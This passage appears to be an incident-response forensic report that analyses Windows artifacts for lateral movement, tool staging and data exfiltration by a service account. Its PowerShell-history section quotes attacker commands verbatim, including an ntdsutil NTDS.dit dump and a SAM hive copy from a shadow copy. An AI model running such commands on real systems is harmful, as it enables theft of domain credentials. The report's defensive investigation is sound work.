• Evidence: 2018-09-05T14:05:28.993555+00:00 row 7 (\172.16.4.6\c$\Windows\Temp\perfmon\ri.exe); same timestamp row 8 (\172.16.4.5\c$\Windows\Temp\perfmon\ri.exe); 2018-08-31T19:59:34.042963+00:00 row 12 (\172.16.4.6\c$\Windows\Logs\WindowsServerBackup\7.15\csrss.exe); same timestamp row 14 (\172.16.7.15\c$\Windows\Temp\perfmon\csrss.exe); 2018-08-31T23:28:16.404552+00:00 row 16 (\172.16.4.6\c$\Windows\Logs\WindowsServerBackup\6.14\volrest.exe); same timestamp row 17 (\172.16.6.14\c$\Windows\Temp\Perfmon\volrest.exe).
• Why it matters: Executables placed on remote C$ shares in non-standard directories (Temp\perfmon, Logs\WindowsServerBackup) with masquerading names (csrss.exe, volrest.exe) and single short names (ri.exe) are characteristic of attacker lateral movement and remote tool staging.
• Alternative explanation: None plausible; legitimate software does not deploy via admin shares into these paths under these filenames.
• Verify: Correlate with Windows Security EVTX logon events (4624/4648) and SMB logs from BASE-RD-01 to 172.16.4.5, 172.16.4.6, 172.16.6.14, and 172.16.7.15; recover binaries from remote hosts for analysis.

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Masquerading system processes and single-letter binaries staged in local Windows\Temp directories.
• Evidence: 2018-04-10T19:29:48+00:00 row 5 (C:\windows\subject_srv.exe); 2018-08-30T21:39:05.281796+00:00 row 18 (\172.16.6.11\c$\Windows\Temp\Perfmon\pa.exe); 2018-08-30T22:14:02.349331+00:00 row 19 (\172.16.6.11\c$\Windows\Temp\Perfmon\p.exe); same timestamp row 37 (c:\windows\temp\perfmon\p.exe); 2018-06-29T08:53:19.377167+00:00 row 38 (c:\windows\temp\perfmon\csrss.exe); 2018-08-30T21:39:05.281796+00:00 row 39 (c:\windows\temp\perfmon\pb.exe); 2018-08-24T15:35:47.195112+00:00 row 70 (c:\Windows\Temp\BrowsingHistoryView.exe).
• Why it matters: csrss.exe does not belong in Temp\perfmon; single-letter filenames (p.exe, pa.exe, pb.exe) and an unknown subject_srv.exe in the Windows root are consistent with malware staging, process masquerading, and reconnaissance tooling (BrowsingHistoryView).
• Alternative explanation: No legitimate Windows or enterprise software deploys to these locations with these names.
• Verify: Extract and hash the files if resident on disk; scan with AV/YARA; review Prefetch/Amcache for execution evidence.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Suspicious "install_wormhole" staging directory containing custom installers and archival/scanning utilities.
• Evidence: 2018-05-08T21:07:10.124584+00:00 row 491 (C:\ProgramData\staging\7za.exe); 2018-05-08T21:07:25.797113+00:00 row 490 (C:\ProgramData\staging\install_wormhole\install_msadvapi2_64.exe); 2018-05-08T21:07:43.735750+00:00 row 482 (C:\ProgramData\staging\install_wormhole\install_msadvapi2_32.exe); 2018-03-02T20:43:58+00:00 row 474 (C:\Program Files (x86)\Microsoft Advanced API 32\msadvapi2_32.exe); 2018-02-26T22:47:32+00:00 row 476 (C:\Program Files (x86)\Microsoft Advanced API 32\winpcap-nmap-4.13.exe).
• Why it matters: A directory literally named install_wormhole containing 7za.exe and custom installer binaries, alongside a non-standard "Microsoft Advanced API" program that packages winpcap-nmap, strongly suggests unauthorized network scanning tools and attacker staging.
• Alternative explanation: Unlikely to be legitimate given the directory name and inclusion of nmap components under a spoofed Microsoft label.
• Verify: Examine the contents of C:\ProgramData\staging\ and the installed "Microsoft Advanced API" directories; inspect network logs for scanning behavior.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] User account spsql downloaded a binary matching the lateral-movement artifact ri.exe moments before identical timestamps appeared on remote hosts.
• Evidence: 2018-09-05T14:05:28.993555+00:00 row 9 (C:\Users\spsql\Downloads\ri.exe); same timestamp row 10 (C:\Users\spsql\Downloads\wrar561b1.exe); corroborated by row 7 and row 8 (same timestamp, ri.exe on \\172.16.4.6 and \\172.16.4.5).
• Why it matters: The exact filename ri.exe and identical last_modified timestamp clustering tie the spsql account directly to the suspected intrusion toolchain used for lateral movement.
• Alternative explanation: Coincidental filename match is possible but improbable given the precise timestamp alignment and remote admin-share paths.
• Verify: Correlate spsql logon events and browser/download history around 2018-09-05 14:05 UTC; inspect the Downloads folder for residual files.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Potential persistence and anti-forensics tooling.
• Evidence: 2018-08-15T17:10:17.110758+00:00 row 95 (C:\WINDOWS\Autorunsc.exe); 2018-05-14T04:09:01.890320+00:00 row 356 (\base-file\Installers\SysInternals\SysinternalsSuite\sdelete.exe); 2018-03-12T22:07:08+00:00 row 629 (C:\Users\Administrator\Desktop\SystemInit-dev.exe) and row 630 (SIGN.MEDIA=1E6CC1C SystemInit-dev.exe); 2018-05-04T22:12:41.095989+00:00 row 518 (C:\Program Files\SystemInit\unins000.exe) and rows 614–615 (SystemInit-dev.tmp in Administrator AppData\Local\Temp).
• Why it matters: Autorunsc.exe and sdelete.exe are dual-use tools commonly employed for persistence enumeration and secure deletion of evidence; SystemInit is a custom binary deployed under the Administrator profile and subsequently installed as a program.
• Alternative explanation: May represent legitimate system administration activity or in-house software.
• Verify: Check Autoruns output and persistence locations (Run keys, services) for SystemInit; examine event logs for gaps that might indicate sdelete usage.

Data Gaps

• Execution not proven: Shimcache records program presence on disk only; it does not independently confirm execution. Corroboration from Prefetch, Amcache, or Windows Event Logs (EVTX) is required to prove these binaries ran.
• Missing temporal precision: 267 rows carry the invalid/default timestamp 1601-01-01T00:00:00+00:00, preventing reliable timeline ordering for a large portion of the cache.
• No file integrity data: Hashes, digital signatures, and file sizes are absent. We cannot confirm whether ri.exe on the remote shares is bitwise identical to the copy in C:\Users\spsql\Downloads\.
• No process lineage: Command-line arguments, parent process names, and user security identifiers are not captured in Shimcache, preventing attribution of execution to specific logon sessions.
• Remote binaries inaccessible: Artifacts referenced on \\172.16.x.x\c$\... are not present on this host's disk image; analysis is limited to path and timestamp.
• DFIR checks with no artifact coverage: Explicit credential-access tooling (e.g., Mimikatz, ProcDump, LSASS dumpers) and privilege escalation exploits were not observed in this artifact; their absence here does not rule out use elsewhere in the environment.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] ProcDump credential-access tool found in a non-standard, user-profile directory nested within a password manager’s installation path.
• Evidence: install_date blank, path c:\users\tdungan\appdata\roaming\dashlane\6.2.0.12026\procdump.exe (row_ref 315), identical binary also at row_ref 316 (...\dashlane\procdump.exe) and row_ref 317 (...\dashlane\6.1.0.11480\procdump.exe); publisher sysinternals - www.sysinternals.com; version 7.0; SHA1 f6b2ac3a5bcdd89d15348320323c14039a4139c0.
• Why it matters: ProcDump is frequently abused to dump LSASS memory for credential theft, and its placement inside a password manager’s user directory is highly anomalous and consistent with staging or execution by an intruder.
• Alternative explanation: A system administrator manually copied the tool to this location for application troubleshooting.
• Verify: Check Shimcache and Prefetch for evidence that procdump.exe executed, and search the filesystem for .dmp files or LSASS access events around the incident window.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Non-McAfee executable from a competing vendor present inside the McAfee VirusScan Enterprise program directory.
• Evidence: install_date blank, path c:\program files (x86)\mcafee\virusscan enterprise\pireg.exe (row_ref 305); publisher check point software technologies; version 53023; product desktop; SHA1 f718ce10e0190870edcbee77ab6a11e39d154584.
• Why it matters: Attackers occasionally drop executables into trusted security software directories to evade detection and blend in with legitimate files.
• Alternative explanation: Legacy third-party integration or a licensed Check Point component shipped with an older McAfee product version.
• Verify: Validate the file’s digital signature against known-good McAfee and Check Point databases, and inspect the McAfee installation manifest for this component.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] WinPcap remote packet capture daemon installed, enabling raw network traffic sniffing.
• Evidence: install_date blank, path c:\program files\winpcap\rpcapd.exe (row_ref 331); publisher riverbed technology, inc.; version 4.1.0.2980; product winpcap; SHA1 c99aa678f387c00c4470fa3cd7b037d26720960d.
• Why it matters: rpcapd allows remote hosts to capture network traffic, which can be used to harvest credentials or monitor sensitive communications.
• Alternative explanation: Legitimate network diagnostics or monitoring software installed by administrators.
• Verify: Inspect the local service configuration for rpcapd and review network logs for signs of remote capture sessions.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] OneDrive client software present under the profile of a service account (spsql), suggesting interactive or unauthorized use.
• Evidence: install_date blank, path c:\users\spsql\appdata\local\microsoft\onedrive\update\onedrivesetup.exe (row_ref 279); publisher microsoft corporation; version 18.131.0701.0007; product microsoft onedrive; SHA1 3284ac8d523ea063014ca7c46d90c05d70c0dda8.
• Why it matters: Service accounts are typically non-interactive; presence of user-oriented sync software may indicate account compromise, misuse, or unauthorized data synchronization.
• Alternative explanation: An administrator manually configured OneDrive for this service account.
• Verify: Correlate with Windows Security event logs for interactive logon events by spsql and review OneDrive sync logs.

• [SEVERITY: LOW] [CONFIDENCE: MEDIUM] VPN tunneling components (AnchorFree) installed under a standard user profile, creating a potential encrypted egress path.
• Evidence: install_date blank, path c:\users\tdungan\appdata\roaming\dashlane\vpn\service\vpnservice.exe (row_ref 394, also rows 395 and 396); publisher anchorfree inc.; version 1.2.7.75; product caketube windows sdk; SHA1 0f80499dc823b1e3192c4d821d1c46ef3f8fac9e. Supporting TAP driver entries (e.g., row_ref 18–23, 357–362).
• Why it matters: User-installed VPN software can tunnel traffic outside corporate monitoring and may be used for data exfiltration or C2 evasion.
• Alternative explanation: Legitimate Dashlane VPN feature installed by the user for personal password manager functionality.
• Verify: Review network flow logs for encrypted tunnel connections to AnchorFree infrastructure and confirm policy approval for Dashlane VPN.

• [SEVERITY: LOW] [CONFIDENCE: LOW] PuTTY secure copy utility (PSCP) present in a Puppet Labs directory without corroborating Puppet infrastructure artifacts.
• Evidence: install_date blank, path c:\program files\puppet labs\puppet\bin\pscp.exe (row_ref 319); publisher simon tatham; version release 0.70; product putty suite; SHA1 2d7177f8466d82e28150572584928278ba72d435.
• Why it matters: PSCP can facilitate encrypted file transfers during lateral movement or data staging, and the absence of other Puppet PE files raises questions about the directory’s origin.
• Alternative explanation: Residual binary from a legitimate Puppet agent installation whose other components were not captured in this Amcache slice.
• Verify: Determine whether Puppet is an authorized management tool on this host and enumerate the full c:\program files\puppet labs directory.

Data Gaps

• install_date is blank for nearly all executable entries (present only for modern app packages beginning at row_ref 421), so the precise arrival time of suspicious binaries cannot be determined from this artifact alone.
• Amcache inventories file metadata but does not record execution timestamps, command lines, or parent processes; Shimcache, Prefetch, and EDR telemetry are required to confirm whether ProcDump, PSCP, or WinPcap were actually executed and with what arguments.
• No explicit Mimikatz, webshell, or known-malicious binaries were observed, but memory-resident tools and non-PE artifacts (scripts, scheduled tasks, WMI events) are outside the scope of Amcache.
• The spsql account and the administrator.shieldbase domain admin account show limited software inventory here; Security event logs and full user profile/registry analysis are needed to assess their activity and scope of compromise.
• Signs of log clearing or anti-forensics cannot be assessed from Amcache alone and require comparison with Event Logs and USN Journal data.

Findings

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Windows command shell and PowerShell executed during an overnight interactive session on the suspected compromise date.
• Evidence: row_ref 33, ts 2018-09-06T17:25:51.078669+00:00, path \Device\HarddiskVolume2\Windows\System32\cmd.exe; row_ref 35, ts 2018-09-06T20:25:18.859434+00:00, path \Device\HarddiskVolume2\Windows\System32\WindowsPowerShell\v1.0\powershell.exe; row_ref 36, ts 2018-09-06T20:25:18.952560+00:00, path \Device\HarddiskVolume2\Windows\System32\conhost.exe.
• Why it matters: Attackers routinely abuse cmd.exe and PowerShell for payload execution, reconnaissance, credential harvesting, and lateral movement during Windows intrusions.
• Alternative explanation: Standard administrative tasks, logon scripts, or power user activity on an RDS host.
• Verify: Review Windows Security Event ID 4688 (if command-line logging is enabled), PowerShell operational/ScriptBlock logs, and Prefetch to obtain command-line arguments, parent process, and invoking user.

• [SEVERITY: MEDIUM] [CONFIDENCE: LOW] Remote Desktop client (mstsc.exe) execution indicates potential outbound RDP connectivity.
• Evidence: row_ref 34, ts 2018-09-05T18:45:35.260126+00:00, path \Device\HarddiskVolume2\Windows\System32\mstsc.exe.
• Why it matters: Execution of the RDP client from this RDS host may represent lateral movement to other systems in the shieldbase.lan environment.
• Alternative explanation: An authorized user legitimately initiated an outbound remote desktop session to another internal host.
• Verify: Inspect Windows Security event logs for outbound RDP sessions, RDS client jump lists, and session broker records to identify the target host and originating user account.

Data Gaps

• Missing user attribution: The provided BAM records do not include a User SID or username column, so the system-level executions of cmd.exe, powershell.exe, and mstsc.exe cannot be attributed to a specific account (user context is inferable only for entries under \Users\tdungan and \Users\spsql).
• No execution context: BAM/DAM does not capture command-line arguments, parent processes, or network indicators; malicious use of these legitimate Windows binaries cannot be confirmed or ruled out from this artifact alone.
• Limited historical retention: BAM stores only recent entries. The absence of older records (or records between 2018-05-08 and the September cluster) cannot be interpreted as evidence that no earlier attacker activity occurred.
• Corroboration required: As noted in artifact guidance, cross-checking with Prefetch, Amcache, Windows Event Logs (Security/PowerShell), and Sysmon is necessary to build a complete execution picture and confirm or refute suspicious activity.

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Service-associated account spsql executed interactive PowerShell, command prompt, and Remote Desktop client on the same day, indicating highly anomalous interactive activity for a non-human account.
• Evidence: Row 90 (ts: 2018-09-05T12:18:02.357000, path: {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe, number_of_executions: 2, application_focus_duration: 1325580, username: spsql); Row 88 (ts: 2018-09-05T12:03:08.397999, path: {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, number_of_executions: 3, application_focus_duration: 181091, username: spsql); Row 89 (ts: 2018-09-05T14:05:56.726999, path: Microsoft.Windows.RemoteDesktop, number_of_executions: 5, application_focus_duration: 4243967, username: spsql).
• Why it matters: A SQL service account engaging in extended interactive shell sessions and RDP client usage is consistent with compromised credentials, privilege abuse, or attacker lateral movement staging on an RDS host.
• Alternative explanation: Database administrator using the service account for interactive troubleshooting or remote server management.
• Verify: Correlate with Windows Security Event Log 4624/4634 for spsql interactive/console logon events on 2018-09-05 and review PowerShell script block / transcription logs.

• [SEVERITY: HIGH] [CONFIDENCE: MEDIUM] Domain administrator administrator.shieldbase launched Sysinternals SDelete from a network-hosted share, indicating potential secure deletion of files (anti-forensics).
• Evidence: Row 114 (ts: 1601-01-01T00:00:00+00:00, path: \base-file\Installers\SysInternals\SysinternalsSuite\sdelete.exe, number_of_executions: 0, application_focus_duration: 1156, username: administrator.shieldbase).
• Why it matters: SDelete is explicitly designed to irrecoverably delete data; its use by a privileged account during a suspected compromise investigation raises the risk of evidence destruction.
• Alternative explanation: Administrator legitimately used SDelete to sanitize routine sensitive files unrelated to an intrusion.
• Verify: Recover command-line arguments from Prefetch, Amcache, or Event ID 4688/1 to identify target files; examine Volume Shadow Copies and MFT for indicators of mass deletion.

• [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Domain administrator administrator.shieldbase executed an interactive command prompt with sustained focus duration.
• Evidence: Row 105 (ts: 2018-05-14T05:18:27.966999, path: {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\cmd.exe, number_of_executions: 1, application_focus_count: 6, application_focus_duration: 550329, username: administrator.shieldbase).
• Why it matters: A domain admin maintaining an interactive command prompt for ~9 minutes may indicate manual system modification, policy changes, or tooling execution that warrants correlation with other artifacts.
• Alternative explanation: Routine administrative maintenance or batch script execution.
• Verify: Check Security event logs and command history (ConsoleHost_history.txt) for commands executed in this session.

Data Gaps

• Limited execution scope: UserAssist only captures programs launched through the Explorer shell. Direct command-line execution, background services, scheduled tasks, and non-interactive PowerShell sessions are not reflected here.
• Null timestamps obscure timeline: 42 records (36% of the dataset) carry a 1601-01-01 timestamp, including SDelete, PowerShell, sc.exe, and schtasks.exe entries. This prevents precise temporal correlation of potentially suspicious tool usage.
• No command-line visibility: Intent cannot be determined for executed programs (e.g., whether sdelete.exe targeted specific evidence, or whether powershell.exe ran malicious commands).
• Absence of expected compromise artifacts: No evidence of credential-access tooling (e.g., Mimikatz), reverse shells, or known malicious binaries appears in this artifact.
• Corroborating artifacts required: Windows Security Event Logs (4624, 4688, 5156), Sysmon, Prefetch, Amcache, ShimCache, Scheduled Tasks, and Service registry keys are needed to confirm execution chains, logon types, and persistence mechanisms.

No suspicious deletions indicative of compromise, credential access, or evidence cleanup were observed in this Recycle Bin artifact.

Data Gaps

• Identical timestamps prevent sequencing. All 51 recovered items share the exact deletion timestamp 2018-09-05T13:15:53.491999+00:00 (rows 1–51), making it impossible to determine whether the deletions resulted from a single bulk command (e.g., rd /s /q, PowerShell Remove-Item -Recurse) or rapid interactive deletes.
• No attacker tooling or log cleanup visible. The deleted items are exclusively research documents (.docx, .pdf, .pptx) originally located under C:\Windows\Logs\SysBackup\06-11\Research\ (rows 1–51). No deleted executables, scripts, archives, credential stores, or Windows Event Logs are present to suggest cleanup of malicious tools or forensic evidence.
• **User context for spsql is unknown.** All deletions are attributed to username spsql (rows 1–51), but without EVTX Security logon events (4624/4634/4648) or Sysmon/Process Creation (4688) data from the same timeframe, it cannot be assessed whether this was a compromised service account, an interactive user session, or legitimate automated maintenance.
• Atypical original path warrants correlation. The path C:\Windows\Logs\SysBackup is non-standard for user document storage (rows 1–51). Whether this directory was used for legitimate backup staging or as an adversary staging area cannot be determined without $MFT/$LogFile timeline analysis and file-creation artifact correlation.
• Narrow temporal scope and bypass methods not captured. This artifact contains records for a single point in time; deletions occurring outside this instant, or performed via Recycle-Bin-bypass methods (Shift+Delete, direct NTFS deletion, or attacker utilities), are absent here.

Merged batch 1

Findings

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Service account spsql accessed a remote administrative share on an internal host via browser file:// URLs, indicating lateral movement or unauthorized reconnaissance.
• Evidence: row 487, timestamp 2018-09-05T13:26:02.105101+00:00, URL file://172.16.4.6/c$/Windows/Logs/WindowsServerBackup, username spsql, visit count 7; rows 488–494, timestamps spanning 2018-09-05T13:17:03 to 2018-09-05T13:23:47, URLs traversing subdirectories of the same remote C$ path, username spsql.
• Why it matters: A service account browsing to a remote C$ admin share is not normal user behavior and strongly suggests unauthorized lateral movement.
• Alternative explanation: None plausible; service accounts do not perform interactive browsing of remote admin shares.
• Verify: Pull Windows Security Event Logs (4624/4648/5140) on BASE-RD-01 and SMB audit logs on 172.16.4.6 for spsql activity around 2018-09-05T13:17Z.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Service account spsql accessed another user’s confidential local files and subsequently visited a public file-sharing site.
• Evidence: row 480, timestamp 2018-08-28T21:43:43.654537+00:00, URL file:///C:/Users/tdungan/OneDrive%20-%20Stark%20Research%20Labs/CONFIDENTIAL%20-%20Project%20Mayhem.pptx, username spsql; rows 481–486 show additional access to tdungan’s research documents under the same profile path. Row 501, timestamp 2018-09-05T13:44:39.018549+00:00, URL https://www.sendspace.com/, username spsql.
• Why it matters: Accessing a user’s confidential documents followed by a visit to a file-sharing service suggests data staging and potential exfiltration.
• Alternative explanation: None; service accounts do not normally enumerate user profiles and browse file-sharing sites.
• Verify: Check proxy/web gateway logs for sendspace.com upload traffic from BASE-RD-01, and audit file access to tdungan’s C:\Users\tdungan profile for spsql.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Browser history is attributed to the service account spsql, indicating interactive logon, account misuse, or attacker operation.
• Evidence: Artifact statistics show 29 browser history records associated with username spsql compared to 987 for tdungan (chunk 2). Specific interactive sessions include row 480 (2018-08-28T21:43:43), rows 487–494 (2018-09-05T13:17:03 to 2018-09-05T13:23:47), row 495 (2018-08-28T21:58:01), row 496 (2018-08-28T21:56:39), and row 501 (2018-09-05T13:44:39), all username spsql.
• Why it matters: Service accounts typically do not have interactive browser sessions; the volume and nature of this activity indicates potential account compromise or attacker operation.
• Alternative explanation: spsql could be a regular user with a misleading name, or an administrator performing maintenance.
• Verify: Query Windows Security Event Logs on BASE-RD-01 for interactive (Logon Type 2) or RDP (Type 10) logon events for spsql during the collection time range.

• [SEVERITY: MEDIUM] [CONFIDENCE: HIGH] Service account spsql conducted reconnaissance for an internal SharePoint host.
• Evidence: row 496, timestamp 2018-08-28T21:56:39.283340+00:00, Bing search query base-sp, username spsql; row 495, timestamp 2018-08-28T21:58:01.017485+00:00, URL http://base-sp/, username spsql.
• Why it matters: Searching for and connecting to internal resources from a service-account browser session is consistent with attacker reconnaissance or lateral-movement planning.
• Alternative explanation: Unlikely to be automated; the interactive search-and-visit pattern matches user-driven behavior.
• Verify: Review IIS/proxy logs for base-sp and DNS/query logs for the base-sp hostname from BASE-RD-01.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] User tdungan searched for and viewed a specific Bitcoin address on a lookup service.
• Evidence: row 1033, timestamp 2018-08-15T01:59:16, title btc address lookup - Google Search; row 1034, timestamp 2018-08-15T01:59:23, URL bitcoinwhoswho.com; rows 1035–1036, timestamp 2018-08-15T02:00:04, search and view of address 1KMq2KvXwXgB3Cr7UrzCJYAjjUMZ2B14XC, username tdungan.
• Why it matters: In a suspected compromise investigation, targeted Bitcoin address lookups can indicate ransomware payment reconnaissance, attacker wallet verification, or illicit financial activity.
• Alternative explanation: Personal cryptocurrency curiosity or non-malicious research.
• Verify: Cross-reference the Bitcoin address against threat-intel feeds and check email/file artifacts on the host around 2018-08-15 for ransom notes or related IOCs.

Data Gaps

• Upload/Exfiltration Uncertainty: This artifact records visited URLs only; it does not capture HTTP POST body data, downloaded files, or upload confirmations. Whether spsql actually uploaded files to sendspace.com cannot be determined without proxy, firewall, or web gateway logs.
• Missing Process Context: The artifact does not include the parent process or command line of the browser sessions. It is therefore impossible to distinguish an interactive attacker using spsql from a headless/malware-driven browser without correlated process execution telemetry.
• Authentication Unknown for Remote Access: Remote file access via file:// URLs in browser history does not reveal whether the SMB connection to 172.16.4.6 succeeded, what credentials were used, or what specific files were read; SMB audit logs on the remote host are required.
• Incomplete Record Metadata: Many iexplore rows are missing title, host, and visit_type values, limiting the ability to assess intent or categorize traffic for those sessions.
• Uneven Chunk Coverage / Missing Row-Level Data: Chunk 2 reported that no row-level records for the 29 spsql sessions were included in its CSV excerpt and that 491 Internet Explorer and 40 Firefox records were summarized but not provided. However, chunk 1 did contain row-level spsql records (e.g., rows 480, 487–494, 495, 496, 501). This inconsistency indicates the dataset was split unevenly, and full row-level evidence for all browsers, accounts, and time periods has not been assessed.
• Missing Final 10 Days of History: The provided CSV records for tdungan end on 2018-08-27, while the artifact time range extends to 2018-09-06; approximately 10 days of history are missing from the evidence set. Although spsql records in chunk 1 extend to 2018-09-05, activity for tdungan and other potential accounts in the final days remains unassessed.
• History Integrity: No direct evidence of history tampering or clearing is present, but the absence of earlier spsql sessions does not prove they did not occur. Corroboration from Event Logs and Volume Shadow Copy is needed.
• No Associated Network or Execution Artifacts: No associated download history, DNS cache, process execution, or network connection artifacts are available to determine whether any visits resulted in payload retrieval or C2 communication.

No suspicious browser downloads were identified in the provided artifact.

Data Gaps

• Execution status unknown: The artifact records file ingress but cannot confirm whether any downloaded file was executed. This includes the sole executable DashlaneInst.exe (row 17, 2018-08-16T00:23:21) and the numerous Office documents downloaded during the 2018-08-27 burst. Cross-reference with Prefetch, Amcache, or EDR telemetry is required.
• Incomplete IE metadata: Internet Explorer records (rows 1–10) are missing ts_start, size, and state, limiting timeline precision and download integrity verification for those events.
• Macro/content analysis impossible: The artifact provides no visibility into whether .docx, .pptx, or .ppsx files contain malicious macros, embedded objects, or exploits; file content inspection or AV logs are needed.
• Volume burst unexplained: Between 2018-08-27T19:01:21 and 2018-08-27T19:06:10 (rows 21–61), approximately 40 files were downloaded in rapid succession. Whether this represents manual bulk retrieval, a restored browser session, or scripted behavior cannot be determined without browser history, session restore data, or proxy logs.
• No credential-access or RAT payloads observed: While the investigation prioritizes credential-access tooling (e.g., Mimikatz-like activity) and malicious execution, no such tools or suspicious scripts were downloaded according to this artifact.
• Single-user visibility: All 61 records belong to tdungan; download activity for any other user account on BASE-RD-01 is not represented here.
• Egress blind spot: This artifact captures inbound downloads only; outbound uploads, cloud-sync activity, or exfiltration via browser are not visible.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Active Directory database (NTDS.dit) extracted via ntdsutil on Domain Controller and staged in masqueraded directories.
• Evidence: 2018-09-05T12:34:13.399303+00:00, row 10 (Enter-PSSession BASE-DC), row 30 (ntdsutil "ac i ntds" "ifm" "create full c:\windows\temp\perfmon\" q q), row 33 (ntdsutil "ac i ntds" "ifm" "create full c:\windows\temp\perfmon" q q), row 48 (cd c:\windows\System\Backup).
• Why it matters: ntdsutil IFM creates a portable copy of NTDS.dit containing password hashes for every domain account, enabling offline cracking or Golden Ticket creation.
• Alternative explanation: No legitimate administrative workflow dumps NTDS.dit to C:\Windows\Temp\perfmon and then hides it in $Recycle.Bin and a fake System\Backup folder.
• Verify: Examine C:\Windows\System\Backup and C:\$Recycle.Bin on BASE-DC for NTDS.dit, SYSTEM, and SECURITY hives; check USN Journal for file moves.

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] SAM hive copied from Volume Shadow Copy on Domain Controller for offline hash extraction.
• Evidence: 2018-09-05T12:34:13.399303+00:00, row 1 (Enter-PSSession BASE-DC), row 4 (mklink /D backup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy37\), row 6 (copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy37\Windows\System32\config\SAM .).
• Why it matters: Extracting SAM from a shadow copy bypasses OS file locks and exposes local account password hashes for offline cracking.
• Alternative explanation: Incident response collections typically do not use interactive shadow-copy symbolic links followed by credential-staging tradecraft.
• Verify: Locate the copied SAM file on BASE-DC and examine Volume Shadow Copy 37 for accessed registry hives.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Lateral movement from BASE-RD-01 to Domain Controller via PowerShell remoting.
• Evidence: 2018-09-05T12:34:13.399303+00:00, row 1 (Enter-PSSession BASE-DC), row 10 (Enter-PSSession BASE-DC).
• Why it matters: Confirms the spsql account on BASE-RD-01 established interactive remote sessions to BASE-DC, providing the conduit for subsequent credential theft.
• Alternative explanation: While domain administrators may use remote PowerShell, the paired credential-access commands confirm malicious intent.
• Verify: Correlate with Windows Security Event Logs on BASE-DC (Event ID 4624/4625, LogonType 9) and WinRM operational logs.

• [SEVERITY: HIGH] [CONFIDENCE: HIGH] Evasive staging: stolen database hidden sequentially under perfmon, $Recycle.Bin, and Windows\System\Backup.
• Evidence: 2018-09-05T12:34:13.399303+00:00, rows 25–30 (mkdir perfmon in C:\Windows\Temp and ntdsutil output), row 42 (mv .\perfmon\ 'C:\$Recycle.Bin'), row 46 (mv 'C:\$Recycle.Bin\perfmon' c:\Windows\System\Backup), row 48 (cd c:\windows\System\Backup).
• Why it matters: Attackers used a performance-monitor decoy name, then moved the stolen data into a system folder disguised as a backup directory to evade detection and potentially prepare for exfiltration.
• Alternative explanation: None credible; the sequential relocation of a sensitive database through these specific paths is deliberate defense evasion.
• Verify: Inspect C:\Windows\System\Backup on BASE-DC for NTDS.dit and registry hive remnants; review file system timeline for creation/move events.

• [SEVERITY: MEDIUM] [CONFIDENCE: MEDIUM] Anomalous manipulation of the $Recycle.Bin directory structure.
• Evidence: 2018-09-05T12:34:13.399303+00:00, rows 14–22 (cd $recycle.bin, mkdir $recycle.bin, mv '.\$Recycle.Bin\' $Recycle.bin, repeated del` commands).
• Why it matters: Attempts to rename, overwrite, or nest $Recycle.Bin are consistent with anti-forensic activity or creation of a hidden storage location.
• Alternative explanation: Could reflect accidental commands or a failed cleanup attempt, though the concentration of file-system manipulation around the same time as credential theft is suspicious.
• Verify: Examine the $Recycle.Bin directory on BASE-DC for non-standard subdirectories, unexpected permissions, or hive files.

Data Gaps

• No per-command timestamps: All 50 rows share the identical file modification time 2018-09-05T12:34:13.399303+00:00. PSReadLine history does not record individual execution times, so duration, intervals between commands, and exact session timing must be derived from other artifacts (e.g., Windows Event Logs, PowerShell operational logs, or shellbags).
• Command outcomes unknown: The history captures input only; it is not possible to determine whether ntdsutil, copy, mv, or del commands succeeded, failed, or produced errors.
• No exfiltration evidence: The history shows staging to C:\Windows\System\Backup, but no subsequent copy, archive, or upload commands (e.g., Invoke-WebRequest, robocopy, rar) are present, so the exfiltration method and destination are unassessable from this artifact.
• Account context missing: There is no evidence in this file regarding whether spsql is a legitimate service account or a compromised identity, nor how it authenticated to BASE-DC.
• Persistence unassessable: No commands relating to scheduled tasks, registry run keys, services, or other persistence mechanisms appear in this history.
• Potential history gaps: The session begins abruptly with Enter-PSSession; earlier commands or a Clear-History invocation may be missing, but this artifact cannot confirm deletion. File-system metadata for the history file itself should be examined.

Findings

• [SEVERITY: CRITICAL] [CONFIDENCE: HIGH] Service account spsql performed extensive interactive lateral movement via Windows Explorer across at least eight remote hosts using C$ administrative shares, accessing backup repositories containing sensitive project folders and uniform Windows\Temp\Perfmon directories.
• Evidence: Row 107 (lnk_net_name \\172.16.4.6\C$, common_path_suffix Windows\Logs\WindowsServerBackup\6.14, lnk_mtime 2018-09-05T14:29:22.397907+00:00); Row 124 (\\172.16.4.5\C$, Windows\Logs\WindowsServerBackup\7.15\c); Rows 127–129 (\\172.16.6.14\C$, \\172.16.6.12\C$, \\172.16.7.15\C$, all with Windows\Temp\perfmon); Row 136 (\\172.16.7.11\C$, Windows\Temp\perfmon); Row 153 (\\172.16.7.13\C$, Windows\Temp\perfmon); Rows 162–163 (\\172.16.4.6\C$ and \\172.16.4.5\C$, Windows\Temp\perfmon). Additional rows show access to folders named MH_Eyes_Only (row 140), Project P.E.G.A.S.U.S (row 144), Project Mayhem (row 145), Targets (row 151), Case Files (row 152), and 4.04\Active Directory (row 161), all under \\172.16.4.6\C$\Windows\Logs\WindowsServerBackup.
